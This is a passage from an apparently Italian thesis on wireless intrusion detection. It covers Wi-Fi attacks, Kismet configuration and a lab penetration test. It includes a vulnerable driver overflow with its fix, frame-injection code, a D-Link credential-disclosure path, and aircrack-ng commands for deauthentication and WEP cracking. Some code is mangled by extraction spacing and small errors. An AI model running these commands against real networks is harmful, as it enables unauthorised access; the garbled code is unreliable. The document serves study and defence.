ner attivi. Questi sistemi sono tipicamente utilizzati in movimento, gene-

ralmente in auto, e immettono continuamente traffico nelle reti senza mai

associarsi: un WIDS sufficientemente intelligente potrebbe collezionare le

coordinate GPS del sospetto e, analizzandone la variazione in due tempi t

e t + δt, derivarne la velocita di spostamento. Stabilita una soglia massima

abbiamo introdotto una semplice regola per discriminare un wardriver dai

clients legittimi. Tuttavia questa tecnica presuppone la capacita di localiz-

zare fisicamente gli intrusi, una tematica piuttosto complessa che tratteremo

in sez. 4.3.

4.2.2 MAC spoofing

Uno spoofing al livello data-link prevede, sostanzialmente, un’alterazione del

MAC address atta a mascherare la propria presenza nella rete. Sebbene

questa operazione sia sorprendentemente semplice su qualsiasi piattaforma,

verificare l’effettiva autenticita di un indirizzo e estremamente arduo e, piu

in generale, impossibile. Possiamo comunque individuare diversi pattern per

caratterizzare alcuni di questi attacchi.

In primo luogo osserviamo che non tutte le permutazioni di 48 bits for-

mano MAC address ammissibili in quanto i primi 3 bytes (OUI) identificano

univocamente un produttore o un rivenditore registrato presso la IEEE: al

44 Wireless IDS

momento (Dicembre 2007) solo 10.932 prefissi sono stati assegnati, in conse-

guenza ogni altra combinazione evidenzia inequivocabilmente la presenza di

uno spoofing. Questo accorgimento, considerato che la lista degli OUI e di

dominio pubblico, puo dissuadere solo soggetti molto inesperti.

Un metodo nettamente migliore, descritto in [32], e basato sull’analisi del

sequence number, un campo del protocollo 802.11 utilizzato come conta-

tore per ordinare il flusso dei frame. Controllandone la sequenza il sistema

puo identificare valori fuori scala, pertanto prodotti da una diversa fonte:

ad esempio se un sensore cattura la serie 1920-1921-232-1923 e altamente

probabile che il terzo pacchetto sia stato trasmesso da un intruso in fase di

spoofing. Questa tecnica e molto raffinata ma tuttavia infrangibile trami-

te alcuni driver con funzionalita avanzate di injection che alterano in modo

coerente il sequence number; in particolare, per i possessori di schede con

chipset Atheros o Prism54, raccomandiamo il progetto Raw FakeAP [33],

differente e preferibile al piu blasonato FakeAP.

Sebbene la soluzione precedente sia sufficientemente sofisticata e adatta

a rilevare la maggiore parte degli spoofing, tentiamo di definire qualche ul-

teriore regola per potenziare le capacita di riconoscimento del nostro WIDS.

Ad esempio [34] propone una strategia alternativa prevedendo confronti pe-

riodici tra i dati dei clients contenuti in un database locale e quelli ottenuti

tramite una scansione al livello IP: se sono riscontrate differenze troppo mar-

cate e generato un alert. In ogni caso questo procedimento, oltre a degradare

le performance della rete, obbliga a mantenere costantemente aggiornate le

informazioni del database.

Osservazioni piu utili possono essere nuovamente ricavate dalle coordi-

nate GPS dell’host. Ad esempio se la nostra policy di sicurezza disciplina

gli ambienti in cui e permesso il collegamento WLAN potremmo ritenere so-

spetti tutti gli hosts fuori dal perimetro virtuale precedentemente definito.

Questo, inoltre, consente una suddivisione della rete per aree di competenza

del personale, ad esempio identificando come spoofing l’utilizzo di un MAC


address della sezione ricerca e sviluppo nel settore dedicato al reparto ven-

dite. Ulteriori valutazioni possono contemplare variazioni troppo accentuate

del TTL (Time-To-Live) o della potenza del segnale.

4.2.3 Rogue client

Un rogue client, letteralmente client canaglia, rappresenta un qualsiasi host

non appartenente alla nostra rete; tale definizione, pertanto, non include so-

lamente i possibili intrusi ma qualunque dispositivo wireless sia rilevato dai

sensori. Il problema e tipicamente gestito tramite l’utilizzo di due liste di

MAC address, known list e known but not ours list: la prima contiene

tutti i propri indirizzi legittimi, la seconda informa il sistema su eventuali

clients conosciuti ma non autorizzati, ad esempio perche rilevati dai senso-

ri ma appartenenti all’edificio vicino. Questi elenchi, ovviamente, devono

essere periodicamente aggiornati per riflettere le modifiche apportate alla

rete. Potremmo, viceversa, approntare una metodologia basata sull’analisi

delle anomalie presentate a seguire, focalizzandoci su injection, disassocia-

zioni e frame irregolari. Attualmente, tuttavia, non sussistono WIDS che

implementano efficaci controlli anomaly-based in ambiente wireless.

4.2.4 Rogue access point

Indubbiamente i rogue access point rappresentano la preoccupazione predo-

minante in un sistema WLAN. Tramite Evil-Twin (vd. sez. 4.1) abbiamo gia,

in parte, introdotto le immense potenzialita di questi attacchi che, di fatto,

sanciscono definitivamente l’abbandono della concezione classica di sicurez-

za tramite DMZ (vd. sez. 2.1). Se tramite Evil-Twin abbiamo evidenziato

possibili aggressioni agli utenti dall’esterno, ora illustriamo i rischi connessi

all’utilizzo improprio di access point all’interno della rete.

Commentiamo tramite un esempio la Figura 4.4. Un dipendente, incuran-

46 Wireless IDS

te della policy di sicurezza e senza comunicarlo all’amministratore, installa

un access point nella propria postazione di lavoro, connessa alla intranet lo-

cale. Nelle sue ingenue intenzioni, il dispositivo abilitera il fiammante iPod

touch appena acquistato a scaricare MP3 sfruttando la veloce rete azien-

dale; decisamente non e un gran lavoratore ma non e il suo rendimento a

tormentare il nostro sonno quanto, piuttosto, la disattenzione mostrata non

impostando o configurando malamente un qualsiasi protocollo di sicurezza.

Figura 4.4: Attacco alla rete interna

Il risultato di una singola azione sconsiderata ha compromesso l’intera

struttura: ora qualunque intruso puo liberamente entrare nella rete locale,

supposta sicura nella suddivisione DMZ, evitando tutti i sistemi di controllo

tradizionali quali firewall e IDS.

Al lettore attento non sara sfuggito un tragico particolare: nel nostro

esempio non e specificato che l’azienda possega una preesistente WLAN ma

solamente una generica rete cablata. In un solo momento abbiamo invalida-

to decenni di studi teorici e pratici in quanto adesso, a prescindere dal tipo

di rete, nessuno puo garantire un minimale livello di sicurezza senza adottare


un WIDS. Come unica (scarsa) consolazione constatiamo che, collocando op-

portunamente i sensori, riconoscere e bloccare un rogue access point interno

e decisamente semplice; difatti, in modo simile ai rogue clients, e sufficiente

confrontarne il MAC address con un elenco di indirizzi autorizzati.

Al contrario individuare attacchi Evil-Twin o altri man in the middle

esterni (vd. sez. 1.4) presenta le difficolta esposte in sez. 4.1 e comporta,

sostanzialmente, una disposizione accurata e previdente dei sensori in tutte

le aree potenzialmente critiche. Inoltre e consigliabile eseguire un wardri-

ving nella zona circostante il proprio edificio e annotare in una lista “known

but not ours list” gli access point delle reti vicini. Cio evita la generazione

continua di alert ma, tuttavia, presenta un rilevante punto debole: un ag-

gressore che abbia compiuto un MAC spoofing con l’indirizzo di un vicino

probabilmente non sara soggetto a notifiche.

4.2.5 Denial-of-service

Gli attacchi DOS (vd. sez. 1.4) trovano nell’ambiente wireless un contesto

estremamente favorevole, tale da sviluppare queste minacce rendendole, in

generale, non prevenibili; concentriamo il nostro studio sulle tematiche piu

comuni.

Injection e flooding

Il modo piu semplice per causare un DOS e sicuramente un flood, una ge-

nerazione continua di frame tramite script di injection atta a saturare il

canale; in realta qualunque dispositivo produca un segnale nei pressi dei 2.4

GHz e sufficiente a disturbare e degradare il funzionamento di una WLAN e

cio e sostanzialmente inevitabile. In ogni caso, picchi improvvisi di traffico

delineano, probabilmente, un WEP cracking piuttosto che un tentativo di

DOS.

48 Wireless IDS

Associations flood [35] e un DOS decisamente piu interessante. Ogni

access point dispone le informazioni di associazione dei vari clients in un’area

di memoria chiamata association table sufficiente, secondo lo standard 802.11,

a contenerne un massimo di 2007; al contrario la reale dimensione dipende

fortemente dal particolare modello. In ogni caso, similarmente a un SYN

flood nello strato TCP (vd. sez. 2.1), un aggressore potrebbe inviare un

flood di frame association request per causare un overflow della tabella

o quantomeno per negare ulteriori associazioni agli host legittimi. Questo

attacco e prevenibile impostando un qualsiasi robusto protocollo di sicurezza

tipo TKIP o CCMP.

Disassociazione e deautenticazione

I DOS di disassociazione e deautenticazione sono, verosimilmente, i piu pe-

ricolosi e attuati in quanto propedeutici per attacchi successivi quali Evil-

Twin e WPA cracking. Impersonando l’access point, tramite MAC spoofing,

e possibili inviare ad un client disassociation frame e deauthentication

frame costringendolo, ad esempio, a ripetere l’hand-shake a quattro vie in

cui e scambiata la PTK necessaria alla fase di cracking. Un invio continuo e

alternato dei due frame, inoltre, previene per un tempo arbitrario la ricon-

nessione. Si osservi che il traffico e trasmesso unicamente all’host vittima,

ulteriore dimostrazione della necessita di collocare i sensori anche in settori

distanti dagli access point.

DOS avanzati: duration e power saving attack

Tipologie piu avanzate di DOS sono ottenibili sfruttando in modo anomalo

particolari caratteristiche dello standard 802.11. Prima di trasmettere, per

evitare sovrapposizioni di segnali, le stazioni riservano il canale tramite il

protocollo CSMA-CA (Carrier Sense Multiple Access - Collision Avoidan-

ce) specificando la durata, in millisecondi, in due bytes dell’header 802.11.


Un duration attack [36], rappresentato in Figura 4.5, abusa di questa pe-

culiarita iniettando continuamente frame con alti valori di durata, negando

di fatto la comunicazione a tutti gli altri clients.

Figura 4.5: Duration attack

Un power saving attack, al contrario, approfitta delle specifiche 802.11

inerenti il risparmio energetico. Un host puo avvisare l’access point che

intende entrare in uno stato detto doze, a basso consumo; periodicamente,

tornando in modalita attiva, notifica tramite un PS-Poll frame la volonta di

ricevere i dati trasmessi nel periodo di doze e temporaneamente memorizzati

nell’access point. Un aggressore, utilizzando il MAC della vittima e inviando

un PS-Pool frame, potrebbe causare l’invio delle informazioni bufferizzate

negandone al client la ricezione al successivo risveglio.

Questi attacchi sono difficilmente identificabili con signatures predefinite

e, pertanto, dovrebbe essere affrontati con strategie anomaly-based. Os-

serviamo, comunque, che parte di essi potrebbe essere risolta a breve con

l’introduzione del nuovo standard 802.11w (vd. sez. 3.5).

50 Wireless IDS

4.2.6 Driver exploitation

Oggigiorno nessuno e piu sorpreso nel trovare in un qualsiasi programma

uno o piu problemi irrisolti. Tutti i software attualmente commercializzati

contengono svariati difetti che, solo in parte, saranno corretti durante l’arco

di vita utile del prodotto. In generale, ha perfino senso ipotizzare una legge

che colleghi complessita, quantita di codice e numero di errori presenti.

I driver di qualunque dispositivo, comprese le schede WLAN, non rap-

presentano certamente un’eccezione ma, al contrario, sono propensi a gravi

e cospicue vulnerabilita: tipicamente sono sviluppati in C o in Assembly,

spesso frettolosamente e senza essere sottoposti a rigide sessioni di testing.

Il problema e aggravato dall’esigenza di eseguire tale codice in kernel mo-

de, una imposizione comune a tutte le architetture pseudo-monolitiche e/o

ibride come i vari Windows, Linux, BSD e MAC OS X. Un exploit in questa

modalita, normalmente, scavalca tutti i classici meccanismi di sicurezza lo-

cale. I moderni access point, in aggiunta, sono frequentemente corredati con

comode interfacce web che ne facilitano l’installazione; tuttavia questi pic-

coli server web sono spesso configurati incautamente e non prevedono l’uso

di connessioni sicure SSL, trasformandoli, di fatto, in facili e ambite prede.

Per comprendere la diffusione di tali problematiche invitiamo compiere una

semplice ricerca su www.securityfocus.com.

Un WIDS robusto dovrebbe considerare la possibilita che access point

e sensori subiscano exploit atti ad alterarne il comportamento e prevede-

re periodicamente fasi di collaudo e revisione dell’hardware. Analizziamo,

supportandole con episodi reali, le principali metodologie di exploit.

Fuzzing testing/attack

Lo standard 802.11 e estremamente complesso. Le specifiche descrivono tre

diversi tipi di frame (gestione, controllo e dati), ognuno formato da una mol-


titudine di campi spesso opzionali e con dimensione variabile; l’introduzione

delle successive estensioni, ad esempio 802.11i, e di funzionalita proprietarie

come le modalita SuperG hanno esasperato le implementazioni dei driver.

Chiunque abbia mai scritto un parser in C minimamente articolato com-

prende facilmente la probabilita che il codice presenti errori o imprecisioni

difficilmente individuabili. Un metodo alternativo all’analisi dei sorgenti tra-

mite debugger, impossibile nel caso di driver proprietari, e l’utilizzo di un

fuzzer. Un fuzzer [37] e un software per iniettare automaticamente dati

pseudocasuali in un programma, tentando di rilevarne i bugs. Sebbene nasca

come strumento per svolgere test, il suo utilizzo e evidentemente vantaggioso

anche per un aggressore intezionato a determinare e sfruttare le vulnerabilita

nascoste di access point e schede WLAN.

Un fuzzer rinomato per le sue capacita e Scapy. Scapy [39], in realta, e

un potente generatore multiprotocollo che permette, ad esempio, di plasma-

re e iniettare frame irregolari in maniera arbitraria o casuale. Utilizzando

le API fornite da Scapy e possibile manipolare praticamente ogni aspetto

dell’intero stack TCP/IP, combinando tra loro un’enorme varieta di attacchi

normalmente gestibili solo attraverso tools separati. In particolare una ca-

ratteristica molto apprezzata dai suoi utilizzatori e la funzione fuzz(), una

procedura che consente di specificare alcuni campi di un protocollo generando

casualmente i rimanenti.

In ambiente wireless la ricerca di vulnerabilita e focalizzata sui campi IE

(Information Element), in quanto opzionali e di dimensione variabile entro

un range prefissato: questo li rende candidati ideali a vari tipi di exploit,

soprattutto a buffer overflow (vd. sez. 1.4). Ad esempio le specifiche 802.11

prevedono un SSID di massimo 32 bytes, nonostante la struttura IE ne per-

metta sino a 256: violando lo standard otteniamo un long SSID, un’al-

terazione che abbiamo gia utilizzato in sez. 4.1.3 per veicolare gli attacchi

all’interfaccia WIDS. Un esempio concreto, descritto in [38], e un overflow

scoperto nella versione 0.9.2 dei driver Madwifi (chipset Atheros):

52 Wireless IDS

#de f i n e MAX IE LENGTH 64 ∗ 2 + 30

char buf [MAX IE LENGTH ] ;

. . .

memset(&iwe , 0 , s i z e o f ( iwe ) ) ;

memcpy( buf , se−>se wpa ie , se−>s e wpa i e [ 1 ] + 2) ;

. . .

Versione vulnerabile (0.9.2)

I lettori con una minima esperienza di linguaggio C noteranno imme-

diatamente l’errore: la seconda linea di codice copia un’area di memoria in

un buffer originariamente pensato per contenere un IE, cioe un massimo di

256 bytes (in realta in questa particolare porzione di codice il limite e 158);

nessun controllo previene un overflow in caso un utente malevolo inietti un

frame malformato con un IE di dimensione maggiore. Osserviamo la corre-

zione prontamente rilasciata dal team Madwifi solo 24 ore dopo la scoperta

del problema.

#de f i n e MAX IE LENGTH 64 ∗ 2 + 30

char buf [MAX IE LENGTH ] ;

. . .

memset(&iwe , 0 , s i z e o f ( iwe ) ) ;

i f ( ( se−>s e wpa i e [ 1 ] + 2) > MAX IE LENGTH)

return E2BIG ;

memcpy( buf , se−>se wpa ie , se−>s e wpa i e [ 1 ] + 2) ;

. . .

Versione corretta (0.9.3)

Un aggressore in possesso delle conoscenze necessarie ad attuare con

successo queste tecniche, tipicamente, genera e inietta traffico malformato

utilizzando software simili a Scapy. Tuttavia un’alternativa a basso livello

piu performante e disponibile tramite la libreria LORCON (Loss of Radio

CONnectivity) concepita da Jousha Wright e Mike Kershaw, lo sviluppato-

re di Kismet. LORCON [40] propone un ingegnoso framework di injection


unificato per astrarre dalla particolare scheda WLAN; attualmente suppor-

ta numerosi driver Linux tra cui wlan-ng, bcm43xx, prism54, madwifing,

rt2570, rt2500, zd1211rw e molti altri. Un esempio di applicativo basato su

LORCON, liberamente tratto da [40], e il seguente:

#inc lude <tx80211 . h>

i n t main ( i n t argc , char ∗argv [ ] ) {tx80211 t tx ;

tx80211 packe t t txp ;

u i n t 8 t packet [ ] = ”\xc4\x00\ x f f \ x7f \x00

\x13\xce\x55\x98\ xe f ” ;

t x 8 0211 i n i t (&tx , INTERFACE,

tx80211 r e s o l v e ca rd (DRIVER NAME) ) ;

t x 8 0 2 1 1 g e t c a p ab i l i t i e s (&tx ) ;

tx80211 se t funct iona lmode (&tx ,

TX80211 FUNCMODE INJMON) ;

tx80211 open(&tx ) ;

t x80211 in i tpa cke t (&txp ) ;

txp . packet = packet ;

txp . packet = s i z e o f ( packet ) ;

i f ( tx80211 txpacket (&tx , &txp ) < txp . p len )

d i e (&tx ) ;

t x80211 c l o s e (&tx ) ;

r e turn 0 ;

}

Iniezione di traffico con LORCON

LORCON, in aggiunta, e perfettamente integrato in molti tools tra cui

Metasploit, Kismet e Etheral/Wireshark (tramite patch esterna). Ad esem-

pio utilizzando Metasploit, un framework per lo sviluppo e l’esecuzione di

exploit remoti, l’esempio precedente riscritto in Ruby diviene:

54 Wireless IDS

r e qu i r e ”Lorcon”

packet = [0 xc4 , 0 x00 , 0 x f f , 0 x7f , 0 x00 ,

0x13 , 0 xce , 0 x55 , 0 x98 , 0 xe f ] . pack ( ’C∗ ’ )

puts ” I n i t LORCON using w i f i 0 and madwifing d r i v e r ”

tx = Lorcon : : Device . new( ’ w i f i 0 ’ , ’ madwifing ’ , 1)

puts ”Changing channel to 11”

tx . channel = 11

# Send the frame 500 t imes wi th no in t e r−frame de lay

sa = Time . now . t o f

tx . wr i t e ( packet , 500 , 0)

ea = Time . now . t o f − sa

puts ”Sent 500 packets in #{ea . t o s } seconds ”

Utilizzare la libreria LORCON con Metasploit

Web based attack

Le interfacce degli access point, a causa delle fragili protezioni implementate,

sono uno dei bersagli preferiti dagli aggressori. Come caso di studio consi-

deriamo un D-Link DWL-2100AP, parte della rete utilizzata per le verifiche

sperimentali (vd. cap. 5). Una rapida ricerca [41] ha rilevato una vulnera-

bilita presente nei firmware precedenti la versione 2.10na ≤. In particolare,

una qualunque richiesta HTTP riconducibile al pattern /cgi-bin/*.cfg vi-

sualizza l’intera configurazione dell’access point, comprensiva di username e

password d’accesso e di chiavi WEP/WPA. Sfortunatamente il server web

integrato in questo dispositivo non e disattivabile e, inoltre, non supporta

connessioni SSL.

Sebbene l’aggiornamento alla versione 2.20 abbia risolto il problema,

permane tuttavia un senso di malumore e perplessita diffuso riguardo le

procedure di testing adottate dalle maggiori aziende del settore.

4.3 Il problema della localizzazione 55

4.3 Il problema della localizzazione

Nella sezione precedente abbiamo piu volte segnalato il desiderio di disporre

di un valido sistema di localizzazione fisica degli intrusi. A differenza de-

gli IDS tradizionali, in cui le informazioni piu rilevanti sono essenzialmente

gli indirizzi IP e MAC ed eventualmente i dati SNMP (Simple Network

Management Protocol), un WIDS affidabile non puo prescindere dalla co-

noscenza delle coordinate geografiche da cui proviene un attacco. Tuttavia

l’individuazione di un intruso, fondamentale per ridurre al minimo la finestra

d’esposizione alle aggressioni, e una tematica veramente complessa legata, in

primo luogo, alla tecnologia spread-spectrum adottata nelle comunicazioni

WLAN.

Senza focalizzarsi particolarmente sugli aspetti algoritmici, quasi tutte

le soluzioni coinvolgono un’analisi della potenza del segnale. In particolare,

in ambiente Linux, e possibile utilizzare iwspy, un programma per visua-

lizzare le statistiche della connessione wireless, altrimenti contenute nel file

/proc/net/wireless.

Figura 4.6: Localizzazione con antenne omnidirezionali

In ogni caso sono disponibili, in generale, due differenti approcci. Il primo,

56 Wireless IDS

descritto dettagliatamente in [42], impiega sensori dotati di antenne omni-

direzionali (vd. Figura 4.6). Tramite i teoremi della geometria elementare,

per identificare univocamente un punto sono necessarie almeno tre circonfe-

renze: un numero inferiore introduce incertezza sulla posizione effettiva del

sospetto.

Una seconda possibilita e adoperare antenne direzionali [43] (vd. Figu-

ra 4.7). Quest’ultime hanno il vantaggio di costare meno e offire guadagni piu

elevati, consentendo la copertura di zone piu vaste. Tuttavia la direzionalita

limita le probabilita di intercettazione, obbligando a prevedere sistemi moto-

rizzati, tipicamente onerosi, che permettano una rotazione completa di 360 ◦

attorno all’asse. Sebbene qualsiasi tipo di antenna direzionale (Yagi, Grid,

Dish, ecc...) sia teoricamente idonea, e consigliabile orientarsi sul medesimo

modello per tutti i sensori.

Figura 4.7: Localizzazione con antenne direzionali

Nonostante gli sforzi, si osservi la difficolta intrinseca nel definire una

funzione matematica che descriva l’attenuazione del segnale in una genene-

4.4 Kismet 57

rica situazione. Pertanto prima di implementare gli algoritmi, normalmente,

sono effettuate ripetute rilevazioni nei punti critici della struttura in diverse

condizioni ambientali. Svariati test mostrano errori nell’ordine dei 2-8 metri.

4.4 Kismet

Kismet e un progetto open-source rilasciato sotto licenza GPL, teoricamente

compilabile su qualsiasi piattaforma POSIX-compatibile. Sebbene sia inizial-

mente nato come strumento per il wardriving e lo sniffing di traffico IEEE

802.11 in modalita RFMON, implementa, a partire dalla seconda versione,

alcune caratteristiche proprie dei WIDS e, in particolare, supporta nativa-

mente l’idea di rete distribuita di sensori o, usando la terminologia di Kismet,

droni. Un drone e, essenzialmente, un sensore passivo il cui comportamen-

to e configurabile indipendentemente dai suoi simili. Alcuni, ad esempio,

potrebbero essere dedicati ad ascoltare solamente un determinato canale o

essere corredati con un dispositivo GPS, a prescindere dagli altri.

Figura 4.8: Wardriving con Kismet

58 Wireless IDS

Tutti i droni comunicano con un unico nodo centrale, il server Kismet, che

ha il compito di correlare le informazioni ed eventualmente generare gli alerts;

inoltre, se necessario, puo essere collegato in pipe ad un altro programma,

tipicamente un IDS per gli strati superiori (ad esempio Snort). Ogni aspet-

to della configurazione puo essere variato tramite tre soli files, kismet.conf,

kismet drone.conf e kismet ui.conf, contenuti in $KISMET/etc o

/etc/kismet a seconda che sia stato installato da sorgenti ($KISMET rap-

presenta la directory di installazione) o tramite un pacchetto precompilato.

Figura 4.9: Dettagli della rete

Per il suo funzionamento, Kismet necessita di un driver nativo RFMON;

per un elenco di dispositivi piu o meno compatibili si consiglia di consultare

la documentazione [27]. In particolare l’associazione con un drone avvie-

ne tramite il dummy driver kismet drone, specificando come interfaccia

dronehost:port nel file kismet.conf:

# kismet.conf - server configuration example

source=kismet_drone,192.168.1.20:58000,Drone1

source=kismet_drone,192.168.1.21:43226,Drone2

4.4 Kismet 59

......

In ogni drone, viceversa, si precisa nel file kismet drone.conf i driver e le

interfacce delle schede WLAN impiegate come sensori:

# kismet_drone.conf - drone configuration example

source=madwifi_g,wifi0,AtherosCard

Osserviamo che l’abilitazione della modalita RFMON e possibile solo de-

tenendo i diritti amministrativi, tipicamente privilegio esclusivo dell’utente

root. In realta Kismet, in fase di precompilazione, permette di attribure tale

capacita anche agli utenti normali. Tuttavia, per motivi di sicurezza, questa

pratica e sconsigliabile e, se realmente necessario, si dovrebbe considerare

l’utilizzo di sudo.

Utilizzato come WIDS, Kismet combina controlli basati sia su signatu-

res sia sull’analisi delle anomalie; l’elenco degli attacchi rilevabili, tratto

direttamente dalla documentazione, e riportato di seguito.

Tramite signatures:

1. NetStumbler (0.3.22, 3.23, 3.30) (OBSOLETO)

2. Lucent/Orinoco site survey software (OBSOLETO)

3. Wellenreiter (1.5, 1.6) (OBSOLETO)

4. Airjack (OBSOLETO)

5. Frame di disconnessione/deautenticazione in broadcast

6. Frame probe response con SSID di dimensione zero

7. SSID overflow exploit per driver Broadcom (Windows)

8. Long SSID, maggiore di 32 bytes

9. Overflow exploit tramite IE rate tag, driver D-Link (Windows)

10. Overflow exploit tramite IE rate tag, driver NetGear (Windows)

60 Wireless IDS

11. Frame di disassociazione/deautenticazione irregolari

Tramite analisi delle anomalie:

1. Flood di disassociazioni/deautenticazioni

2. Access point precedentemente rilevato, attivo su un diverso canale;

probabile Evil-Twin

3. Continue probe request senza associarsi

4. Trasmissione nei 10 secondi successivi a una disassociazione

5. BSS timestamps invalidi; probabile spoofing dell’access point

Figura 4.10: Alerts

Una nuova versione di Kismet e rilasciata, normalmente, ogni 6-8 mesi. Pa-

rallelamente, da alcuni anni, e in sviluppo una versione alternativa e ancora

incompleta, denominata Newcore, progettata e implementata totalmente

from scratch (da zero): la nuova struttura dovrebbe permettere migliori per-

formance, piu funzionalita e un supporto alla definizione di plugins esterni.

Quando giungera a maturazione sostituira la versione attuale.

Capitolo 5

Verifiche sperimentali

Nel capitolo precedente abbiamo constatato l’esigenza di adottare un Wire-

less IDS ovunque la sicurezza informatica sia percepita, saggiamente, come

una necessita. In conseguenza abbiamo presentando Kismet come l’unico va-

lido candidato open-source e, pertanto, concludiamo questo elaborato verifi-

candone sperimentalmente le capacita ed evidenziandone le carenze. In par-

ticolare, configurati gli strumenti, eseguiremo una serie di penetration test

su una rete WLAN preparata allo scopo e, successivamente, analizzeremo gli

eventuali alert generati in risposta.

5.1 Topologia della rete

Stabiliamo, in primo luogo, una topologia di rete adeguata alla nostra speri-

mentazione; la nostra scelta e illustrata in Figura 5.1, una WLAN minimale

in cui sono concentrati tutti gli aspetti principali descritti durante questa

ricerca. Innanzitutto possiamo osservare l’accorpamento dell’unico sensore

direttamente nel server WIDS, una soluzione giustificabile solamente dallo

scopo puramente didattico di questo sistema. Il server e l’intruso sono due

macchine sostanzialmente identiche, entrambe equipaggiate con sistema ope-

62 Verifiche sperimentali

rativo Debian GNU/Linux Sid e scheda WLAN OEM (chipset Atheros); i

due client, viceversa, adoperano Windows XP e rispettivamente una scheda

Netgear WG511v2 e una D-Link DWL-610.

Il router assegna dinamicamente, tramite DHCP, un indirizzo IP a qua-

lunque stazione sia autenticata dall’access point, un D-Link DWL-2100AP.

Negli attacchi che lo richiedono, il ruolo di rouge access point sara simulato

via software dall’intruso.

Figura 5.1: Topologia della rete utilizzata nei test

5.2 Configurazione degli strumenti

Procediamo a descrivere la configurazione del server WIDS e dell’intruso:

sebbene questa esposizione sia legata al particolare sistema GNU/Linux in-

stallato nelle nostre postazioni (Debian Sid), dovrebbe tuttavia essere analo-

5.2 Configurazione degli strumenti 63

gamente fruibile, con i dovuti accorgimenti, sia in distribuzioni derivate come

ad esempio Ubuntu sia in qualsiasi piattaforma con kernel 2.6.X.

In ogni caso, una comoda alternativa e rappresentata da Backtrack

(www.remote-exploit.org/backtrack.html), una distribuzione live corre-

data di tutti i software necessari ad impersonare entrambi i ruoli.

Il server

Il nostro server abbisogna unicamente di Kismet, la cui ultima versione e

attualmente presente nei repository di Sid; i fortunati utilizzatori di apt-get,

pertanto, concludono l’installazione semplicemente tramite:

apt−get i n s t a l l kismet

Una seconda opzione e sincronizzarsi con la versione in sviluppo nel trunk

svn. Questa procedura presuppone una preesistente installazione del tool

subversion e richiede una risoluzione manuale delle eventuali dipendenze

necessarie alla compilazione (vd. [27]):

svn co http :// svn . k i sme tw i r e l e s s . net / code/ trunk kismet

cd kismet

. / c on f i gu r e −−p r e f i x=/opt/ kismet

make dep && make & make i n s t a l l

Configuriamo sia il drone sia il server Kismet e, infine, attiviamoli:

echo ” source=kismet drone , 1 2 7 . 0 . 0 . 1 : 3 5 0 1 , Drone1” >>

/ e tc / kismet / kismet . conf

echo ” source=madwifi g , w i f i 0 , AtherosCard” >>

/ e tc / kismet / k ismet drone . conf

k i smet drone &

kismet


L’intruso

Da alcuni anni i driver Linux madwifi, per schede WLAN con chipset Athe-

ros, sono considerati i migliori in assoluto in quanto integrano nativamente

un supporto all’injection tale da permettere un controllo praticamente totale

su ogni aspetto dei frame IEEE 802.11; in conseguenza il nostro intruso non

necessita di particolari preparazioni se non nella scelta dei tools.

Nel capitolo precedente abbiamo presentato alcuni framework per in-

jection a medio e/o basso livello (vd. 4.2.6), tuttavia in questa fase siamo

maggiormente interessati a testare le capacita di Kismet che a presenta-

re tecniche avanzate di attacco: pertanto utilizzeremo Aircrack-NG e, solo

marginalmente LORCON e Simple Injector (vd. sez. 5.3.4).

Aircrack (www.aircrack-ng.org) e una collezione di strumenti per age-

volare e automatizzare le operazioni di cracking per reti WEP e WPA-PSK

1&2; implementa tutti i piu comuni attacchi al protocollo WEP (compreso

PTW [18]) oltre ad alcune funzionalita per forzare i clients a ri-autenticarsi,

recuperando l’handshake contenente l’hash della chiave WPA. In realta, a

partire dall’ultima versione (1.0∼beta1), abilita parzialmente anche ad in-

jection arbitrari e molte altre carattestiche avanzate che non tratteremo in

quanto non pertinenti allo scopo di questo elaborato. Per eventuali appro-

fondimenti si consiglia la lettura dei vari tutorials presso [44].

Nei repository di Sid e disponibile l’ultima beta appena rilasciata; in

alternativa, in maniera similare a quanto avvenuto con Kismet, e possibile

compilare direttamente dal trunk svn.

apt−get i n s t a l l a i r c rak−ng

5.3 Penetration test 65

5.3 Penetration test

Valutare un sistema implica sottoporlo a delle verifiche sperimentali pertan-

to descriviamo una serie di penetration test per valutare l’utilizzo di Kismet

come Wireless IDS; in ogni caso precisiamo come le strategie d’attacco che

illustreremo rappresentino solamente alcune delle numerosissime varianti de-

scritte in letteratura e, sostanzialmente, la loro scelta deriva da un fattore di

gusto personale.

Innanzitutto proporremo il cracking sia di una chiave WEP sia di una

WPA-PSK (TKIP) per rimarcare quanto vane possano risultare tali prote-

zioni se implementate in maniera inadeguata.

5.3.1 WEP cracking

Abbiamo piu volte sottolineato come WEP, a prescindere dalla dimensione

e dalla robustezza della chiave, sia un protocollo talmente disastroso da non

garantire nessuna delle tre condizioni (confidentiality, integrity e availabili-

ty) espresse in sez. 1.1. Per dimostrare questa affermazione violeremo un

access point con cifratura WEP a 128 bit, il massimo consentito dallo stan-

dard originale, che usufruisce di una chiave estremamente resistente quale

?=V3ry:Str0ng. Nell’ambito della crittografia classica sarebbe improponibile

decifrare l’hash prodotto da tale chiave.

Il primo passo consiste nel porre in modalita RFMON la scheda WLAN,

operazione semplificata da airmon-ng, parte del pacchetto aircrack:

airmon−ng stop ath0

airmon−ng s t a r t w i f i 0

Il WEP cracking e incentrato sull’analisi dei pacchetti cifrati percio dovre-

mo abilitare lo sniffer airodump-ng; in particolare, per evitare di catturare


pacchetti di altre reti per noi prive d’interesse, specifichiamo sia il canale (il

sesto, nel nostro caso) sia il BSSID dell’access point:

airodump−ng −c 6 −−bs s i d 00 : 1 7 : 9A: 7C: E3 : 1D −w data ath0

Per accellerare il processo ricorreremo ad un ARP injection in cui, sostan-

zialmente, forzeremo l’access point a trasmettere ripetutamente e rapidamen-

te un certo payload dati, cifrandolo ogni volta con un diverso IV. Otteniamo

questo eseguendo, ognuno in una shell separata, i seguenti comandi:

a i r ep l ay−ng −3 −b 00 : 1 7 : 9A: 7C: E3 : 1D

−h 0 0 : 1 4 : 7 8 : 1 0 :C8 :55 ath0

a i r ep l ay−ng −0 1 −a 00 : 1 7 : 9A: 7C: E3 : 1D

−c 0 0 : 1 4 : 7 8 : 1 0 :C8 :55 ath0

a i r c rack−ng −z data−01. cap

Figura 5.2: Cracking chiave WEP128

Aireplay e il tool di injection della suite aircrack. Questa sequenza

di operazioni prepara aireplay-ng all’intercettazione e all’injection di ARP


request, generata forzando la ri-autenticazione del client con MAC address

00:14:78:10:C8:55; l’ultimo comando parallelizza alle precedenti attivita il

cracking tramite l’attacco PTW [18]. PTW e un procedimento estremamente

potente, capace di recuperare una chiave a 128 bit con soli 40.000 frame;

